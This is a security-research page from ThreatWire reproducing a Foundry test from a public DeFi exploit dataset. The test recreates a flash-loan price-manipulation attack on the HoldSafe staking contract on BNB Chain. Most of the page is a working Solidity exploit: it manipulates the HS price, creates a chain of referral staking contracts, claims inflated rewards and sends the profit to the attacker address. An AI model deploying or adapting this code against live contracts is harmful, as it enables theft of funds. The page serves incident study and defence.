Skip to content
THREATWIRE

Public reproduction file

src/test/2025-06/HoldSafe_exp.sol

Public reproduction file for dataset entry HoldSafe.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-06/HoldSafe_exp.sol175 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 4,824.96 USD
8// Attacker : 0x0a4125690753b6cc82cadbca0f0899eb2025acb0
9// Attack Contract : 0x8b6dc9db598ecc3aa36d3eddebe9a9dd36e2bd7d
10// Vulnerable Contract : 0x2496b87189d5ae18d4d83b8a7039b0c8a07d98d4
11// Attack Tx : https://bscscan.com/tx/0xa9b4cead820eaa750d72cd4ba4ba4d926c2db867746c637a1642ea4ab9721399
12//
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x2496b87189d5ae18d4d83b8a7039b0c8a07d98d4#code
15//
16// @Analysis
17// Telegram Alert : https://t.me/defimon_alerts/1320
18//
19// Attack summary: the attacker flash-borrowed WBNB, bought HS, repeatedly created fresh staking
20// accounts that deposited the maximum quoted USDT value in HS, built a referral chain, claimed
21// referral rewards, sold the reward HS back to WBNB, repaid the flash source, and kept the surplus.
22// Root cause: Hold_Safe.Stake and Rewards value HS deposits/rewards with Pancake getAmountsOut on a
23// manipulable HS/WBNB/USDT route. A temporary reserve change lets cheap HS satisfy 2,000 USDT stake
24// accounting, while referral rewards are later paid from the staking contract in HS.
26address constant ATTACKER = 0x0a4125690753b6cc82CADbCa0f0899eB2025ACB0;
27address constant HISTORICAL_ATTACK_CONTRACT = 0x8b6dc9db598eCc3aa36d3EdDEbE9a9dd36e2bd7d;
28address constant DODO_WBNB_POOL = 0x172fcD41E0913e95784454622d1c3724f546f849;
29address constant HOLD_SAFE_STAKING = 0x2496B87189D5Ae18d4d83b8a7039b0c8A07D98D4;
30address constant HS_WBNB_PAIR = 0x8720862A4fB7e1CBAcfb42Cb32C9EB4F5E84e403;
31address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
32address constant HS_TOKEN = 0xf83Aa05D3D7A6CA2DcE8a5329F7D1BE879b215F0;
33address constant WBNB_TOKEN = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
34address constant USDT_TOKEN = 0x55d398326f99059fF775485246999027B3197955;
36uint256 constant FLASH_WBNB_AMOUNT = 224 ether;
37uint256 constant FLASH_WBNB_REPAY = 224_022_400_000_000_000_000;
38uint256 constant MAX_STAKE_USDT = 2_000 ether;
39uint256 constant FIRST_HELPER_FUNDING = 33_368_767_355_577_024;
40uint256 constant STAKER_COUNT = 70;
41uint256 constant REWARD_CLAIM_COUNT = 57;
43interface IPancakeRouterFeeOnTransfer {
44 function swapExactTokensForTokensSupportingFeeOnTransferTokens(
45 uint256 amountIn,
46 uint256 amountOutMin,
47 address[] calldata path,
48 address to,
49 uint256 deadline
50 ) external;
53interface IHoldSafeStaking {
54 function Stake(uint256 usdtAmount, address referrer) external;
55 function Rewards() external;
56 function referrerRewards(
57 address account
58 ) external view returns (uint256);
61contract ContractTest is BaseTestWithBalanceLog {
62 function setUp() public {
63 uint256 forkBlock = 51_758_376;
64 vm.createSelectFork("bsc", forkBlock);
66 fundingToken = WBNB_TOKEN;
67 attacker = ATTACKER;
69 vm.label(ATTACKER, "Attacker");
70 vm.label(HISTORICAL_ATTACK_CONTRACT, "Historical attack contract");
71 vm.label(DODO_WBNB_POOL, "DODO WBNB pool");
72 vm.label(HOLD_SAFE_STAKING, "Hold Safe staking");
73 vm.label(HS_WBNB_PAIR, "HS/WBNB pair");
74 vm.label(PANCAKE_ROUTER, "Pancake router");
75 vm.label(HS_TOKEN, "HS");
76 vm.label(WBNB_TOKEN, "WBNB");
77 vm.label(USDT_TOKEN, "USDT");
78 }
80 function testExploit() public balanceLog {
81 uint256 dodoWbnbBefore = IERC20(WBNB_TOKEN).balanceOf(DODO_WBNB_POOL);
82 uint256 attackerWbnbBefore = IERC20(WBNB_TOKEN).balanceOf(ATTACKER);
84 assertGe(dodoWbnbBefore, FLASH_WBNB_AMOUNT);
86 HoldSafeAttack attack = new HoldSafeAttack(ATTACKER);
88 vm.prank(DODO_WBNB_POOL);
89 IERC20(WBNB_TOKEN).transfer(address(attack), FLASH_WBNB_AMOUNT);
91 attack.execute();
93 uint256 attackerProfit = IERC20(WBNB_TOKEN).balanceOf(ATTACKER) - attackerWbnbBefore;
94 assertEq(IERC20(WBNB_TOKEN).balanceOf(DODO_WBNB_POOL), dodoWbnbBefore + (FLASH_WBNB_REPAY - FLASH_WBNB_AMOUNT));
95 assertGt(attackerProfit, 5 ether);
96 }
99contract HoldSafeAttack {
100 address private immutable profitReceiver;
101 StakeHelper[] private helpers;
103 constructor(
104 address receiver
105 ) {
106 profitReceiver = receiver;
107 IERC20(WBNB_TOKEN).approve(PANCAKE_ROUTER, type(uint256).max);
108 IERC20(HS_TOKEN).approve(PANCAKE_ROUTER, type(uint256).max);
109 }
111 function execute() external {
112 address[] memory wbnbToHs = new address[](2);
113 wbnbToHs[0] = WBNB_TOKEN;
114 wbnbToHs[1] = HS_TOKEN;
116 IPancakeRouterFeeOnTransfer(PANCAKE_ROUTER).swapExactTokensForTokensSupportingFeeOnTransferTokens(
117 FLASH_WBNB_AMOUNT, 1, wbnbToHs, address(this), block.timestamp + 1 hours
118 );
120 StakeHelper first = new StakeHelper();
121 helpers.push(first);
123 uint256 initialHs = IERC20(HS_TOKEN).balanceOf(address(this));
124 IERC20(HS_TOKEN).transfer(address(first), FIRST_HELPER_FUNDING);
125 first.stake(address(0), address(this));
127 uint256 retainedHs = initialHs - FIRST_HELPER_FUNDING;
128 address previousReferrer = address(first);
130 for (uint256 i = 1; i < STAKER_COUNT; i++) {
131 StakeHelper helper = new StakeHelper();
132 helpers.push(helper);
134 uint256 cycleAmount = IERC20(HS_TOKEN).balanceOf(address(this)) - retainedHs;
135 IERC20(HS_TOKEN).transfer(address(helper), cycleAmount);
136 helper.stake(previousReferrer, address(this));
137 previousReferrer = address(helper);
138 }
140 address[] memory hsToWbnb = new address[](2);
141 hsToWbnb[0] = HS_TOKEN;
142 hsToWbnb[1] = WBNB_TOKEN;
144 for (uint256 i = 0; i < REWARD_CLAIM_COUNT; i++) {
145 if (IHoldSafeStaking(HOLD_SAFE_STAKING).referrerRewards(address(helpers[i])) == 0) continue;
146 helpers[i].claimRewards(address(this));
147 uint256 hsBalance = IERC20(HS_TOKEN).balanceOf(address(this));
148 if (hsBalance > 0) {
149 IPancakeRouterFeeOnTransfer(PANCAKE_ROUTER).swapExactTokensForTokensSupportingFeeOnTransferTokens(
150 hsBalance, 1, hsToWbnb, address(this), block.timestamp + 1 hours
151 );
152 }
153 }
155 uint256 wbnbBalance = IERC20(WBNB_TOKEN).balanceOf(address(this));
156 require(wbnbBalance > FLASH_WBNB_REPAY, "unprofitable");
157 IERC20(WBNB_TOKEN).transfer(DODO_WBNB_POOL, FLASH_WBNB_REPAY);
158 IERC20(WBNB_TOKEN).transfer(profitReceiver, IERC20(WBNB_TOKEN).balanceOf(address(this)));
159 }
162contract StakeHelper {
163 function stake(address referrer, address receiver) external {
164 IERC20(HS_TOKEN).approve(HOLD_SAFE_STAKING, type(uint256).max);
165 IHoldSafeStaking(HOLD_SAFE_STAKING).Stake(MAX_STAKE_USDT, referrer);
166 IERC20(HS_TOKEN).transfer(receiver, IERC20(HS_TOKEN).balanceOf(address(this)));
167 }
169 function claimRewards(
170 address receiver
171 ) external {
172 IHoldSafeStaking(HOLD_SAFE_STAKING).Rewards();
173 IERC20(HS_TOKEN).transfer(receiver, IERC20(HS_TOKEN).balanceOf(address(this)));
174 }

Analysis

Dataset entry

Public Foundry test for “HoldSafe” (2025-06-20). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x0a4125690753b6cc82cadbca0f0899eb2025acb0

  • Attack Contract

    0x8b6dc9db598ecc3aa36d3eddebe9a9dd36e2bd7d

  • Vulnerable Contract

    0x2496b87189d5ae18d4d83b8a7039b0c8a07d98d4

  • Attack Tx

    0xa9b4cead820eaa750d72cd4ba4ba4d926c2db867746c637a1642ea4ab9721399

File record

Name
HoldSafe
Path
src/test/2025-06/HoldSafe_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
cfc2e62d0cbe7ed1d2b36216050dfff0fcb8cb32
Language
Solidity
Size
176 lines
Date
2025-06-20
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-06/HoldSafe_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob cfc2e62d0cbe7ed1d2b36216050dfff0fcb8cb32, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.